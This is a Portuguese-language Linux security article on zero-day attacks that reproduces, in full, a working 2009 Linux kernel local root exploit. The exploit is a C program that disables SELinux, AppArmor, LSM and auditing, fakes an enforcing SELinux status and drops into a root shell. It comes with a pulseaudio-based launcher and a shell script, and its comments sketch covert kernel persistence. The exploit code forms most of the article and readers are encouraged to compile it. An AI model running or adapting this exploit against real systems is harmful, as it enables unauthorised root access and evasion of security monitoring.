Visite também: Viva o Linux · Dicas-L · NoticiasLinux · SoftwareLivre.org



» Login
Login:
Senha:

Se você ainda não possui uma conta, clique aqui.

Esqueci minha senha


[Artigo] O que é 0 day, alguns exemplos atuais e exploit para Kernel Linux

Linux user
firebits
04/04/2010
O ataque zero-day (ou zero-hour, 0day ou zero day ) é uma ameaça de computador que tenta explorar vulnerabilidades na aplicação do computador que estão desconhecidas ainda até pelos próprios desenvolvedores do software, reservadas apenas para o hackers ou outros do mundo underground, ou quando não tem correção de segurança disponível.
[ Hits: 5953 ] Por: Mauro Risonho de Paula Assumpção A.K.A firebits

O que é 0 day e alguns exemplos atuais

O ataque zero-day (ou zero-hour, 0day ou zero day) é uma ameaça de computador que tenta explorar vulnerabilidades na aplicação do computador que estão desconhecidos ainda até pelos próprios fabricantes do software, reservadas apenas para o hackers, ou para as quais não tem correção de segurança disponível. Zero-day exploits na real pode usar uma brecha de segurança para realizar um ataque e são usados ou compartilhados por invasores antes que o desenvolvedor de software saiba sobre a vulnerabilidade. Neste artigo estarei falando mais sobre o assunto e passando alguns exemplos atuais. (Chega de exploits e pentest da época do Windows2000 ou anteriores...como alguns "Pentesters" fazem! Já estamos em 2010 e não em 2000!)

O termo deriva do tempo do exploração (exploit). Quando um desenvolvedor toma conhecimento de um furo de segurança, há uma corrida para fechá- lo antes dos atacantes descobri ou a vulnerabilidade torna-se público. Um ataque "0day" ocorre antes ou em "zeroth" , "0th" que é o primeiro dia de conscientização do desenvolvedor sobre a vulnerabilidade, ou seja, o desenvolvedor não teve qualquer oportunidade de distribuir uma correção de segurança para os usuários do software.

Sumário:
  1. Attack vectors
  2. Vulnerability window
  3. Protection 0days
  4. Ethics

Attack vectors

Escritores de malware são capazes de explorar vulnerabilidades de 0day através de vários Attack vectors diferentes. Por exemplo, quando os usuários visitam um Rogue (chapéu ou preta) sites da Web, o código no site pode explorar as vulnerabilidades em navegadores web. Navegadores Web são um alvo em particular devido à sua ampla distribuição e uso.

Os invasores também podem enviar anexos de e-mail, que exploram vulnerabilidades no aplicativo ao abrir o anexo. Exploits que tiram vantagem de ser tipos de arquivos comuns estão listados em bases de dados como as do US-CERT.

O Malware pode ser projetado para "aproveitar" esses tipo de arquivo e comprometer sistemas atacados ou roubar dados confidenciais, como senhas bancárias e informações de identidade pessoal.

Vulnerability window

Ataques 0day ocorrem durante a janela de vulnerabilidade (Vulnerability window) que existe no tempo entre a vulnerabilidade explorada inicialmente até quando os desenvolvedores do software começar a desenvolver uma correção (patch) contra essa ameaça.

Para vírus, cavalos de tróia (Trojan Horse) e outros ataques 0 day, a janela de vulnerabilidade segue essa linha do tempo:
  • O desenvolvedor cria software que contém uma vulnerabilidade desconhecida
  • O atacante acha a vulnerabilidade antes do desenvolvedor.
  • O atacante codifica e distribui uma exploração (exploit), enquanto a vulnerabilidade não é conhecida para o desenvolvedor
  • O desenvolvedor encontra a vulnerabilidade e começa a desenvolver uma correção (patch).

Medindo o comprimento da janela de vulnerabilidade (Vulnerability window) entre o desenvolvimento do software até a correção (patch) pode ser difícil, já que os atacantes não anunciar a vulnerabilidade foi descoberta, muito menos o exploit. Outra situação é que os desenvolvedores podem não querer distribuir os dados sobre a exploração por razões comerciais ou de segurança. Os desenvolvedores também podem não saber se a vulnerabilidade é explorada enquanto corrigi-la e assim não podem gravar a vulnerabilidade como um ataque 0day. No entanto, a exploração pode ser facilmente demonstrada no ano que a janela de vulnerabilidade (Vulnerability window) está presente. Por exemplo, em 2010, a Microsoft confirmou que uma vulnerabilidade no Internet Explorer, que afetou algumas versões que foram lançadas em 2001. Infelizmente, a data em que a vulnerabilidade foi encontrada por um atacante não é conhecida, porém a janela de vulnerabilidade, neste caso poderia ter sido de até 9 anos.

Protection

Zero-day protection é a capacidade de fornecer proteção contra ataques 0day. Ataques 0day também pode permanecer sem ser detectados, bem depois que eles são lançados.

Muitas técnicas existem para limitar a eficácia das vulnerabilidades do 0day na corrupção de memória, tais como buffer overflows. Esses mecanismos de proteção existentes em sistemas operacionais atuais, como o Mac da Apple (Mac OS X), Windows Microsoft Vista Security e novos recursos de segurança para o Windows Vista , Sun Microsystems Solaris, Linux, Unix e ambientes Unix-like; Microsoft Windows XP Service Pack 2 inclui uma proteção limitada contra vulnerabilidades de corrupção de memória genérica [6]. Desktops e Servidores também podem ter software de proteção para atenuar as vulnerabilidades 0days sobre buffer overflow.

"Múltiplas camadas" fornecem um serviço de proteção agnóstica e é a primeira linha de defesa em qualquer camada. Um exemplo desta situação para um determinado serviço está a implementar listas de controle de acesso (ACL) no próprio serviço, restringindo o acesso a ele via rede local, em um servidor de firewall (ou seja, iptables) e em seguida, proteger toda a rede com um firewall em hardware. Todas as 3 camadas devem fornecer proteção redundante no caso comprometer qualquer um deles ao ser descoberto.

O uso de port knocking ou de Single Packet Authorization daemons podem proporcionar uma proteção eficaz contra exploits 0day nos serviços de rede. No entanto, estas técnicas não são adequados para ambientes com grande número de usuários.

A tecnologia Whitelisting protege eficazmente contra ameaças de 0day. Whitelisting só irá permitir aplicações a acessar um sistema e por isso qualquer um que explorar novas ou desconhecidas situações, não será permitido o acesso. Embora a Whitelisting é eficaz contra ataque 0day, se não for combinado com outros métodos de proteção, tais como HIPS ou uma Blacklisting de definições de vírus, isso poderá às vezes ser bastante restritivo para o usuário.

Engenheiros e fornecedores como Gama-Sec em Israel e Labs DataClone em Reno, Nevada estão tentando fornecer apoio ao Projeto Zeroday, que visa fornecer informações sobre ataques futuros e fornecer suporte aos sistemas vulneráveis.

Outro método para evitar ataques de dia zero é esperar por um período razoável de tempo antes de atualizar para uma nova versão principal. Exploits que são descobertos em novos softwares são muitas vezes tratados de forma antecipada, por parte do desenvolvedor de software e corrigidos por atualizações posteriores menores. Updates Menores de software mais antigo que contêm correções de segurança, obviamente, devem ser sempre instalado para maximizar a segurança. Embora este método evita "0day" vulnerabilidades que são descobertas pelo ciclo de lançamento do software e falhas de segurança podem ser descobertas a qualquer momento. Se eles forem anunciados ao público antes de o fornecedor de software, falhas podem ser localizados na janela de vulnerabilidade.

Ethics (Ética)

Diferentes pontos de vista cercam sobre repositórios/centros e na utilização de informações de vulnerabilidades 0day. Muitos centros de segurança realizam pesquisas sobre vulnerabilidades de 0day, a fim de melhor compreender a natureza das vulnerabilidades e sua exploração por worms e vírus. Alternativamente, algumas vulnerabilidades são pagas ou financiadas para aumentar sua capacidade de investigação. Um exemplo é o tal projeto da TippingPoint's Zero Day Initiative. Apesar de vender e comprar essas vulnerabilidades não é tecnicamente ilegal na maioria das regiões do mundo, há muita controvérsia sobre o método de divulgação. Uma recente decisão de um alemão para incluir o artigo 6 da Convenção sobre o Cibercrime sobre ataques contra sistemas de informação pode fazer a venda ou mesmo de fabricação vulnerabilidades ser ilegal.

A maioria dos esforços formais em seguir alguma forma de orientações divulgação através da RFPolicy ou orientações mais recentes de vulnerabilidade de segurança da OIS. Em geral, essas regras proíbem a divulgação de vulnerabilidades, sem notificação do desenvolvedor e tempo suficiente para produzir uma correção (patch).

Exemplo de um 0day com Internet Explorer recente: Qualquer sistema está sujeito a 0day, basta está "sistematizado".

Leia mais sobre informações em:
CVE Referência:
Outro caso é no Linux, onde este 0day, simplesmente desabilita localmente no Kernel o serviços do SELinux/AppArmor/LSM, conhecidos por sua excelência e segurança, inclusive o SELinux foi desenvolvido pelo governo americano, como uma alta forma de segurança ao Linux.

Linux 2.6.30+ Local Kernel Exploit 0day (versão 32bits) desabilita localmente no Kernel o serviços do SELinux/AppArmor/LSM.
Linux 2.6.30+ Local Kernel Exploit 0day (versão 64bits) desabilita localmente no Kernel o serviços do SELinux/AppArmor/LSM:
RHEL5 2.6.18-157 Local Kernel Exploit 0day, desabilita localmente no Kernel o serviços do SELinux:
o código-fonte do "exploit.c" deste exploit (em linguagem C), está aqui e você deverá usar o gcc para compilar:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/personality.h>

/* on 2.6.30:
   sk_sndbuf is at 0x68
   sk_wmem_alloc is at 0x60
   sk_socket is at 0x140
   the above can change based on kernel configuration, blahblah
   I couldn't bother to recompile and compute the other sizes so kiddies
   may have to reduce the size of gibberish2 a bit

   flags is at offset 0x8 in sk_socket (on 2.6.30, on the RHEL5 2.6.18
                     &nbs p;                  it's at offset 0x4)
*/


#ifdef RHEL5_SUCKS
#define OFFSET_OF_FLAGS 0x4
#else
#define OFFSET_OF_FLAGS 0x8
#endif

struct sock {
   char gibberish1[0x60];
#ifdef RHEL5_SUCKS
   char gibberish2[0xb0]; // this seems to do the trick ;)
#else
   char gibberish2[0xe0]; // gotta make sure this >> 1 is not >= above
#endif
   unsigned long gibberish3[0x50];
};

static void craft_sock(struct sock *sk, unsigned long target_addr)
{
   int i;
   memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
   memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
   for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++)
      sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
}

static void or_one_to_kernel_address(unsigned long target_addr)
{
   struct sock *sk = NULL;
   int fd;
   struct pollfd pfd;

   craft_sock(sk, target_addr);

   fd = open("/dev/net/tun", O_RDWR);
   if (fd == -1) {
      fprintf(stdout, "UNABLE TO OPEN /dev/net/tun!\n");
      return;
   }
   pfd.fd = fd;
   pfd.events = POLLIN | POLLOUT;
   poll(&pfd, 1, 0);

   close(fd);

   fprintf(stdout, " [+] *%p |= 1\n", (void *)target_addr);
}

static unsigned long get_kernel_sym(char *name)
{
   FILE *f;
   unsigned long addr;
   char dummy;
   char sname[256];
   int ret;

   f = fopen("/proc/kallsyms", "r");
   if (f == NULL) {
      fprintf(stdout, "Unable to obtain symbol listing!\n");
      exit(0);
   }

   ret = 0;
   while(ret != EOF) {
      ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
      if (ret == 0) {
         fscanf(f, "%s\n", sname);
         continue;
      }
      if (!strcmp(name, sname)) {
         fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
         fclose(f);
         return addr;
      }
   }

   fclose(f);
   return 0;
}

/* fastcalls! */
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef int __attribute__((regparm(3))) (*_nf_unregister_hooks)(unsigned long *ops, int count);
typedef int __attribute__((regparm(3))) (*_unregister_filesystem)(unsigned long arg);

unsigned long *tun_mmap_fop;

unsigned long sel_fs_type;

unsigned long *mmap_min_addr;

int *audit_enabled;

int *ss_initialized;

int *selinux_enforcing;
int *selinux_enabled;
int *selinux_mls_enabled;

int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_bool;
unsigned long security_get_bool_value;
unsigned long sel_read_enforce;

_commit_creds commit_creds;
unsigned long init_cred;

_nf_unregister_hooks nf_unregister_hooks;
unsigned long * selinux_ipv4_ops;
unsigned long * selinux_ipv6_ops;

_unregister_filesystem unregister_filesystem;

int what_we_do;

unsigned int our_uid;

int got_root;

/* for RHEL5 2.6.18 with 4K stacks */
static inline unsigned long get_current(void)
{
   unsigned long current;

   asm volatile (
   " movl %%esp, %%eax;"
   " andl %1, %%eax;"
   " movl (%%eax), %0;"
   : "=r" (current)
   : "i" (0xfffff000)
   );
   return current;
}

static void old_style_gimme_root(void)
{
   unsigned int *current;
   unsigned long orig_current;

   current = (unsigned int *)get_current();
   orig_current = (unsigned long)current;

   while (((unsigned long)current < (orig_current + 0x1000)) &&
      (current[0] != our_uid || current[1] != our_uid ||
       current[2] != our_uid || current[3] != our_uid))
      current++;

   if ((unsigned long)current >= (orig_current + 0x1000))
      return;

   current[0] = current[1] = current[2] = current[3] = 0; // uids
   current[4] = current[5] = current[6] = current[7] = 0; // gids

   got_root = 1;

   return;
}

/* the possibilities are really endless here, I've commented out some
   funny possibilities (like fully emulating the behavior of
   selinux_disable() even when the function doesn't exist in the kernel

   some other ideas:
   make /selinux/enforce operate off a dummy internal variable, while
   selinux_enforcing remains controlled by you in a permissive state

   create a copy of the exploit that will set the modified
   values back to their original (so auditing etc can continue)

   allocate some memory and copy some PIC code and data into it,
   set up a timer for some point in the future (minutes, days, weeks)
   and have it execute your code upon expiration

   something to think about:
   modify umount to record which filesystems are being unmounted --
   don't unmount them yet.  wait until a reboot or halt is about to take
   place, then write out a binary to disk (you have all the functions in
   the kernel needed to do so) which copies the current running kernel
   on disk over top the one about to be booted upon reboot then modifies
   that new copy so that its uname matches the one you replaced.  
   Execute this binary using the function the kernel provides to you,
   then unlink it when it's done.  After this, go through the list of
   mounts you recorded that are scheduled for unmounting, and unmount
   them in order.  Then perform the reboot or halt originally requested.
   You could modify the kernel on disk so that it allocates the space
   for and executes this code on boot, or you can stuff it into a module
   and toss it into the initrd image associated with the kernel.
   The system will stay in perpetual vulnerability with the appearance
   of being up to date ;)
*/


static int __attribute__((regparm(3))) own_the_kernel(void *a, void *b)
{
   // clean up after ourselves ;)
   if (tun_mmap_fop)
      *tun_mmap_fop = 0;

   if (audit_enabled)
      *audit_enabled = 0;

   // giggles
   //if (mmap_min_addr)
   //   *mmap_min_addr = 0;

   // disable apparmor
   if (apparmor_enabled && *apparmor_enabled) {
      what_we_do = 1;
         *apparmor_enabled = 0;
      if (apparmor_audit)
         *apparmor_audit = 0;
      if (apparmor_logsyscall)
         *apparmor_logsyscall = 0;
      if (apparmor_complain)
         *apparmor_complain = 0;
   }

   // disable SELinux
   if (selinux_enforcing && *selinux_enforcing) {
      what_we_do = 2;
      *selinux_enforcing = 0;
   }

   if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {
      // trash LSM
      if (default_security_ops && security_ops) {
         if (*security_ops != default_security_ops)
            what_we_do = 3;
         *security_ops = default_security_ops;
      }
   }

   /* make the idiots think selinux is enforcing */
   if (sel_read_enforce || (sel_read_bool && security_get_bool_value)) {
      unsigned char *p;
      unsigned long _cr0;

      asm volatile (
      "mov %%cr0, %0"
      : "=r" (_cr0)
      );
      _cr0 &= ~0x10000;
      asm volatile (
      "mov %0, %%cr0"
      :
      : "r" (_cr0)
      );
      if (sel_read_enforce) {
      if (sizeof(unsigned int) != sizeof(unsigned long)) {
         /* 64bit version, look for the mov ecx, [rip+off]
            and replace with mov ecx, 1
         */

         for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
            if (p[0] == 0x8b && p[1] == 0x0d) {
               p[0] = '\xb9';
               p[5] = '\x90';
               *(unsigned int *)&p[1] = 1;
               goto and_now;
            }
         }
      } else {
         /* 32bit, replace push [selinux_enforcing] with push 1 */
         for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
            if (p[0] == 0xff && p[1] == 0x35) {
#ifdef RHEL5_SUCKS
               // while we're at it, disable
               // SELinux without having a
               // symbol for selinux_enforcing ;)
               sel_enforce_ptr = *(unsigned int **)&p[2];
               *sel_enforce_ptr = 0;
               what_we_do = 2;
#endif
               p[0] = '\x68';
               p[5] = '\x90';
               *(unsigned int *)&p[1] = 1;
               goto and_now;
            }
         }
      }
      }
and_now:
      if (sel_read_bool && security_get_bool_value) {
      for (p = (unsigned char *)sel_read_bool; (unsigned long)p < (sel_read_bool + 0x300); p++) {
         if (p[0] == 0xe8 && (((unsigned long)&p[5] + *(int *)&p[1]) == security_get_bool_value)) {
            *p = '\xa1';
            *(unsigned int *)(p + 1) = 1;
            goto next_part;
         }
      }
      }
next_part:
      _cr0 |= 0x10000;
      asm volatile (
      "mov %0, %%cr0"
      :
      : "r" (_cr0)
      );
   }
   /*
   if (nf_unregister_hooks) {
      if (selinux_ipv4_ops && *selinux_ipv4_ops) {
         nf_unregister_hooks(selinux_ipv4_ops, 3);
         *selinux_ipv4_ops = 0;
      }
      if (selinux_ipv6_ops && *selinux_ipv6_ops) {
         nf_unregister_hooks(selinux_ipv6_ops, 2);
         *selinux_ipv6_ops = 0;
      }
   }
   */

  
   //if (unregister_filesystem && sel_fs_type)
   //   unregister_filesystem(sel_fs_type);

   /* and now give ourselves full privileges */
   if (commit_creds && init_cred) {
      /* hackish usage increment */
      *(volatile int *)(init_cred) += 1;
      commit_creds(init_cred);
      got_root = 1;
   }
#ifdef RHEL5_SUCKS
    else {
      // must be RHEL5 2.6.18
      old_style_gimme_root();
   }
#endif

   return -1;
}

static void boom_goes_the_dynamite(void)
{
   char *mem;
   int fd;

   fprintf(stdout, " [+] b00m!\n");

   fd = open("/dev/net/tun", O_RDONLY);

   mem = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);

   close(fd);

   return;
}

int pa__init(void *m)
{
   char *mem;
   int fd;
   int ret;

   our_uid = getuid();

   /* open it so we can have it auto-loaded and resolve its symbols
      below
   */

   fd = open("/dev/net/tun", O_RDONLY);
   if (fd == -1) {
      fprintf(stdout, "UNABLE TO OPEN THE DEVICE!\n");
      return 1;
   }
   close(fd);

   if ((personality(0xffffffff)) != PER_SVR4) {
      mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
      if (mem != NULL) {
         fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
         return 1;
      }
   } else {
      ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
      if (ret == -1) {
         fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
         return 1;
      }
   }

   fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

   /* make an mmap handler for the tun device at 0x1
      mmap fop offset is sizeof(ptr) * 11
   */

  
   tun_mmap_fop = (unsigned long *)(get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11));

   selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
   //selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
   //selinux_mls_enabled = (int *)get_kernel_sym("selinux_mls_enabled");
   //ss_initialized = (int *)get_kernel_sym("ss_initialized");

   apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
   apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
   apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
   apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");

   nf_unregister_hooks = (_nf_unregister_hooks)get_kernel_sym("nf_unregister_hooks");
   //selinux_ipv4_ops = (unsigned long *)get_kernel_sym("selinux_ipv4_ops");
   //selinux_ipv6_ops = (unsigned long *)get_kernel_sym("selinux_ipv6_ops");

   security_ops = (unsigned long *)get_kernel_sym("security_ops");
   default_security_ops = get_kernel_sym("default_security_ops");

   //sel_read_bool = get_kernel_sym("sel_read_bool");
   sel_read_enforce = get_kernel_sym("sel_read_enforce");
   //security_get_bool_value = get_kernel_sym("security_get_bool_value");

   //mmap_min_addr = (unsigned long *)get_kernel_sym("mmap_min_addr");

   audit_enabled = (int *)get_kernel_sym("audit_enabled");

   commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
   init_cred = get_kernel_sym("init_cred");

   //sel_fs_type = get_kernel_sym("sel_fs_type");
   //unregister_filesystem = (_unregister_filesystem)get_kernel_sym("unregister_filesystem");

   /* we don't really need to use the NULL mapping for the kernel to redirect to
      since I could have OR'd another byte in the address and turned it into
      a regular allocation area.  Furthermore, this code can be placed
           into a file and mmap'd RX to bypass any runtime W^X checks
   */

   or_one_to_kernel_address((unsigned long)tun_mmap_fop);

   /* two cases, fancy trickery */
   if (sizeof(unsigned int) != sizeof(unsigned long)) {
      // 64bit
      *(char *)1 = '\xff';
      *(char *)2 = '\x25';
      *(unsigned int *)3 = 0; // pc-relative and such yes ;)
      *(unsigned long *)(3 + 4) = (unsigned long)&own_the_kernel;
   } else {
      // 32bit
      *(char *)1 = '\xe9';
      *(unsigned long *)2 = (unsigned long)&own_the_kernel - 6;
   }

   boom_goes_the_dynamite();

   {
      char *msg;
      switch (what_we_do) {
         case 1:
            msg = "AppArmor";
            break;
         case 2:
            msg = "SELinux";
            break;
         case 3:
            msg = "LSM";
            break;
         default:
            msg = "nothing, what an insecure machine!";
      }
      fprintf(stdout, " [+] Disabled security of : %s\n", msg);
   }
   if (got_root == 1)
      fprintf(stdout, " [+] Got root!\n");
   else {
      fprintf(stdout, " [+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable? \n");
      exit(0);
   }
   fprintf(stdout, " [+] BAM! About to launch your rootshell!...but first some chit-chat...\n");
   sleep(3);
   fprintf(stdout, "           ,        ,\n");
   fprintf(stdout, "          /(_,    ,_)\\\n");
   fprintf(stdout, "          \\ _/    \\_ /\n");
   fprintf(stdout, "          //        \\\\ ;\n");
   fprintf(stdout, "          \\\\ (@)(@) //\n");
   fprintf(stdout, "           \\'=\"==\"='/\n");
   fprintf(stdout, "       ,===/        \\===,\n");
   fprintf(stdout, "      \",===\\        /===,\"\n");
   fprintf(stdout, "      \" ,==='------'===, \"\n");
   fprintf(stdout, "       \"                \"\n");
   fprintf(stdout, "Do you know the deadliest catch?\n");
   {
      char buf[20];
      fgets(buf, sizeof(buf)-1, stdin);
   }
   sleep(1);
   fprintf(stdout, "That's right! MAN is the deadliest catch of all!\n");
   sleep(2);
   {
      char wait[] = "WAIIIIIIIIIITTTT....";
      int i;
      for (i = 0; i < sizeof(wait); i++) {
         fprintf(stdout, "%c", wait[i]);
         fflush(stdout);
         usleep(200 * 1000);
      }
   }
   fprintf(stdout, "do you hear it?\n");
   sleep(2);
   fprintf(stdout, "You hear it! You do too! It's not just me!  It's here, it's here I say!!\n");
   sleep(3);
   fprintf(stdout, "I must face this....\n");
   fprintf(stdout, "\x7");
   fflush(stdout);
   sleep(1);
   fprintf(stdout, "\x7");
   fflush(stdout);
   sleep(1);
   fprintf(stdout, "\x7");
   fflush(stdout);
   sleep(1);

   fprintf(stdout, "What's this? Something stirs within the beast's belly! Something unexpected");
   fflush(stdout);
   usleep(500 * 1000);
   fprintf(stdout, ".");
   fflush(stdout);
   usleep(500 * 1000);
   fprintf(stdout, ".");
   fflush(stdout);
   usleep(500 * 1000);
   fprintf(stdout, ".");
   fflush(stdout);
   usleep(500 * 1000);
   fprintf(stdout, ".");
   fflush(stdout);
   usleep(500 * 1000);
   fprintf(stdout, "\n");
   sleep(3);

   execl("/bin/sh", "/bin/sh", "-i", NULL);

   return 0;
}

void pa__done(void *m)
{
   return;
}

int main(void)
{
  pa__init(NULL);
}

Tirei alguns comentários do exploit, porque "o cara é um piadista" e não vem o caso, com o link do gato que toca piano, conforme o fragmento do comentário.

"Play these jokers out, keyboard cat -- http://www.youtube.com/watch?v=J---aiyznGQ"

Fizemos o download http://grsecurity.net/~spender/cheddar_bay.tgz a partir do email da lista da immunitysec, excelente empresa de segurança.

E mais um arquivo em C, chamado pwnkernel.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/stat.h>

#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
#define PATH_TO_EXPLOIT "/home/spender/exploit.so"

int main(void)
{
   int ret;
   struct stat fstat;

   ret = personality(PER_SVR4);

   if (ret == -1) {
      fprintf(stderr, "Unable to set personality!\n");
      return 0;
   }

   fprintf(stdout, " [+] Personality set to: PER_SVR4\n");

   if (stat(PULSEAUDIO_PATH, &fstat)) {
      fprintf(stderr, "Pulseaudio does not exist!\n");
      return 0;
   }

   if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
      fprintf(stderr, "Pulseaudio is not suid root!\n");
      return 0;
   }
  
   execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);

   return 0;
}

E por último um script shell, chamado cheddar_bay.sh:

#!/bin/sh

killall -9 pulseaudio
if [ ! -f '/usr/sbin/getenforce' ]; then
  ./pwnkernel
else
  RESULT=`/usr/sbin/getenforce`
  if [ "$RESULT" != "Disabled" ]; then
    pulseaudio --log-level=0 -L /home/spender/exploit.so
  else
    ./pwnkernel
  fi
fi

A mensagem com o download você encontra em:

Cópia do email da lista

Brad Spengler spender at grsecurity.net
Thu Jul 16 20:57:36 EDT 2009

    * Previous message: [Dailydave] 1st Call for Posters and Industrial Presentations | ComputationWorld 2009 / Athens- Greece, November 15-20, 2009
    * Next message: [Dailydave] As-if Infinitely Ranged Integer Model
    * Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Title says it all, exploit is at:
http://grsecurity.net/~spender/cheddar_bay.tgz

Everything is described and explained in the exploit.c file.
I exploit a bug that by looking at the source is unexploitable;
I defeat the null ptr dereference protection in the kernel on
both systems with SELinux and those without.
I proceed to disable SELinux/AppArmor/LSM/auditing

Exploit works on both 32bit and 64bit kernels.

Links to videos of the exploit in action are present in the exploit
code.

Greets to vendor-sec,
-Brad
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20090716/197926c3/attachment.pgp

Compilamos no Lab de Pentest do Backtrack Brasil www.backtrack.com.br e o que aconteceu?

Acho melhor você ver com seus próprios olhos...e em Máquina Virtual (Virtualbox ou VMware), faça o teste!

Bom, é a premissa de sempre, não há segurança 100%, mas ainda é melhor que nenhuma segurança.

Espero ter ajudado e Bom Pentesting!

Não deixem de visitar o Backtrack Brasil.



Páginas do artigo
   1. O que é 0 day e alguns exemplos atuais

Outros artigos deste autor

Leitura recomendada

Comentários
[1] Comentário enviado por hroatti em 05/04/2010 - 19:24h:

Parabéns firebits, ótimo artigo.

[2] Comentário enviado por adsonrenato em 05/04/2010 - 22:35h:

Ótimo artigo.

[3] Comentário enviado por kushelmex em 06/04/2010 - 14:07h:

Muito bom !! Meus parabéns

[4] Comentário enviado por redmanbr em 07/04/2010 - 12:41h:

Gostei muito do seu artigo! Parabéns!

[5] Comentário enviado por meinhardt_jgbr em 28/04/2010 - 16:53h:

Embora o próprio nome seja ou tenha o significado bem intuitivo para aqueles que tem boa compreensão do Ingles, seu artigo está excelente e ajudou a entender em mais profundidade a situação e a definição deste tipo de exploração de vulnerabilidade.
Parabéns!!


Contribuir com comentário
  
Para executar esta ação você precisa estar logado no site, caso contrário, tudo o que for digitado será perdido.
Contribuir com: [ Artigo | Conf | Dica | Notícia ]
Responsáveis pelo site: Fábio Berbert de Paula / OYS Academy
Site hospedado por:

Segurança Linux

Site especializado em conteúdo de segurança para Linux.